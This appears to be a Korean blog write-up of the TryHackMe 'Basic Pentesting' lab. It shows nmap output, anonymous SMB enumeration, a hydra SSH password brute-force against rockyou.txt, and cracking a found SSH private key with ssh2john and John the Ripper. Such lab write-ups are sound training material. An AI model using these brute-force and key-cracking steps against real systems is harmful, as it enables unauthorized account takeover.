본문으로 바로가기

[Try Hack Me] : Basic Pentesting

category Pentest/TryHackMe 2020. 9. 28. 00:41
728x90
반응형

 

Over View

TryHackMe의 Basic Pentesting Machine에 대한 포스팅입니다. 이 Machine은 난이도는 높지 않은 편에 속하는데 중간중간 정보를 얻어 유추하는 과정에서 삽질하는 시간이 많이 들었습니다.

 

Scanning

# Nmap 7.93 scan initiated Sat Oct 29 18:59:05 2022 as: nmap -sC -T4 -oA scan.log 10.10.88.193
Warning: 10.10.88.193 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.88.193
Host is up (0.25s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
22/tcp    open     ssh
| ssh-hostkey:
|   2048 db45cbbe4a8b71f8e93142aefff845e4 (RSA)
|   256 09b9b91ce0bf0e1c6f7ffe8e5f201bce (ECDSA)
|_  256 a5682b225f984a62213da2e2c5a9f7c2 (ED25519)
80/tcp    open     http
|_http-title: Site doesn't have a title (text/html).
139/tcp   open     netbios-ssn
445/tcp   open     microsoft-ds
6009/tcp  filtered X11:9
8009/tcp  open     ajp13
| ajp-methods:
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp  open     http-proxy
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
8085/tcp  filtered unknown
52848/tcp filtered unknown

Host script results:
|_clock-skew: mean: 1h19m59s, deviation: 2h18m34s, median: 0s
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time: 2022-10-29T06:00:14-04:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-time:
|   date: 2022-10-29T10:00:14
|_  start_date: N/A

# Nmap done at Sat Oct 29 19:00:52 2022 -- 1 IP address (1 host up) scanned in 107.52 seconds

nmap 수행 결과 22, 80, 139, 445, 8009 포트가 보입니다. 22번 포트는 ssh이기 때문에 사용자 ID나 Password 없이는 접근이 어려울듯 싶습니다. 가장 먼저 시도해 볼 수 있는 건 80port가 열려있으므로 Web(http)를 이용하는 방법과 445port가 열려있으므로 SMB Enumeration을 시도해볼 수 있습니다.

 

SMB Enumeration

먼저 SMB를 이용해서 정보를 얻어봅시다. 이용할 툴은 smbmap과 smbclient인데 smbclient만으로도 가능합니다. 먼저 smbmap으로 어떤 공유 폴더가 열려있는지 확인해봅시다.

________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 -----------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap


[+] IP: 10.10.88.193:445	Name: 10.10.88.193        	Status: Guest session
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	Anonymous                                         	READ ONLY
	.\Anonymous\\*
	dr--r--r--                0 Fri Apr 20 02:31:20 2018	.
	dr--r--r--                0 Fri Apr 20 02:13:06 2018	..
	fr--r--r--              173 Fri Apr 20 02:29:55 2018	staff.txt
	IPC$                                              	NO ACCESS	IPC Service (Samba Server 4.3.11-Ubuntu)

Anonymous 공유 폴더 밑에 staff.txt 라는 파일이 보입니다. smbclient를 이용해 해당 파일을 다운로드 받아 열어봅시다.

$ smbclient -L \\\\TARGET_IP\\Anonymous
➜ cat staff.txt
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay

다운로드한 staff.txt 파일을 읽어보니 Jan을 위한 메시지를 Kay가 쓴 것 같아 보입니다. 즉 계정명이 Jan, Kay라고 유추해볼수 있습니다. 이 텍스트 파일에는 앞 문자는 대문자로 시작하는 것으로 보아 실제 계정은 소문자로도 존재하는 경우를 생각해볼 수 있습니다.

 

Hydra - SSH Brute Forcing

SMB에서 얻은 정보를 통해 계정명이 Jan, jan, Kay, kay 이 4가지 중에 하나일 것 같습니다. hydra를 통해 ssh에 brute forcing을 시도해봅니다..

# Jan, jan, Kay, kay 중 `jan` 을 이용함
$ hydra -l jan -P rockyouy.txt ssh://TARGET_IP
...

4가지 경우를 다 시도 해본 결과 id는 jan이었으며 password는 armando임을 알아냈습니다.

SSH Brute Forcing

 

John the Ripper, SSH Private key Crack

위 과정에서 jan 말고 kay라는 계정이 존재한다는 것을 알았기 때문에 /etc/home으로 이동하면 kay의 home 디렉터리가 보입니다. 이 디렉터리로 이동 후 .ssh에 id_rsa 즉 kay 계정으로 ssh 접속이 가능한 private key가 존재하는 걸 알 수 있습니다.

/home/kay/. ssh/id_rsa의 내용을 복사해서 ssh2john.py 도구를 이용해 키를 생성할 때 사용했던 평문을 알아내야합니다.

ssh2john.py
ssh2john.py > kay.ras.hash

ssh2 john.py에서 hash 값을 추출하고 추출된 hash값에서 패스워드를 얻을 있습니다 그 후에서 진행을 할 때는 ssh로 다시 kay로 ssh를 접속할 때는 kay.rsa 에 600 권한을 주어야 합니다.

 

END.

이후 pass.bak을 읽게 되면 kay의 password를 알아낼 수 있습니다.

 

Note

계정 정보를 유추해서 hydra를 거는 것보다 enum4linux라는 툴을 이용하면 보다 정확한 계정을 알아낼 수 있습니다.

enum4linux cheetsheet link. : https://highon.coffee/blog/enum4linux-cheat-sheet/

 

enum4linux Cheat Sheet

enum4linux is an alternative to enum.exe on Windows, enum4linux is used to enumerate Windows and Samba hosts. enum4linux in a nutshell RID cycling (When RestrictAnonymous is set to 1 on Windows 2000) User listing (When RestrictAnonymous is set to 0 on Wind

highon.coffee

728x90
반응형

'Pentest > TryHackMe' 카테고리의 다른 글

[Try Hack Me] : RootMe  (0) 2020.09.28
[Try Hack Me] : Overpass  (0) 2020.09.28
[Try Hack Me] : Blue  (0) 2020.09.28
[Try Hack Me] LFI Inclusion  (0) 2020.09.28
[Try Hacke Me] Simple CTF  (0) 2020.09.28